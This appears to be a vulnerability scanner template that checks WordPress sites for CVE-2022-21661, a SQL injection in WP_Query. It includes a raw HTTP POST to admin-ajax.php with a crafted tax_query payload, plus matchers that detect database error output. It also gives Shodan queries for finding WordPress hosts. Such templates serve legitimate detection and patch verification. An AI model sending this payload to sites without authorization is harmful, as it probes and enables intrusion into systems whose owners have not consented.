WordPress <5.8.3 - SQL Injection

id: CVE-2022-21661

info:
  name: WordPress <5.8.3 - SQL Injection
  author: Marcio Mendes
  severity: high
  description: |
    WordPress before 5.8.3 is susceptible to SQL injection through multiple plugins or themes due to improper sanitization in WP_Query, An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  remediation: This has been patched in 5.8.3. Older affected versions are also fixed via security release, that go back till 3.7.37. We strongly recommend that you keep auto-updates enabled. There are no known workarounds for this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/7f768bcf-ed33-4b22-b432-d1e7f95c1317
    - https://www.zerodayinitiative.com/blog/2022/1/18/cve-2021-21661-exposing-database-info-via-wordpress-sql-injection
    - http://packetstormsecurity.com/files/165540/WordPress-Core-5.8.2-SQL-Injection.html
    - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-6676-cqfm-gw84
    - https://nvd.nist.gov/vuln/detail/cve-2022-21661
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-21661
    cwe-id: CWE-89
    epss-score: 0.97795
    epss-percentile: 0.99905
    cpe: cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wordpress
    product: wordpress
    shodan-query:
      - cpe:"cpe:2.3:a:wordpress:wordpress"
      - http.component:"wordpress"
  tags: cve2022,cve,wp,sqli,wpquery,wpscan,packetstorm,wordpress,vkev,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=ecsload&query={"tax_query":{"0":{"field":"term_taxonomy_id","terms":[""]}}}&ecs_ajax_settings={"post_id":"1", "current_page":1, "widget_id":1, "theme_id":1, "max_num_pages":10}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "WordPress database error:")'
          - 'contains(body, "error in your SQL syntax")'
        condition: and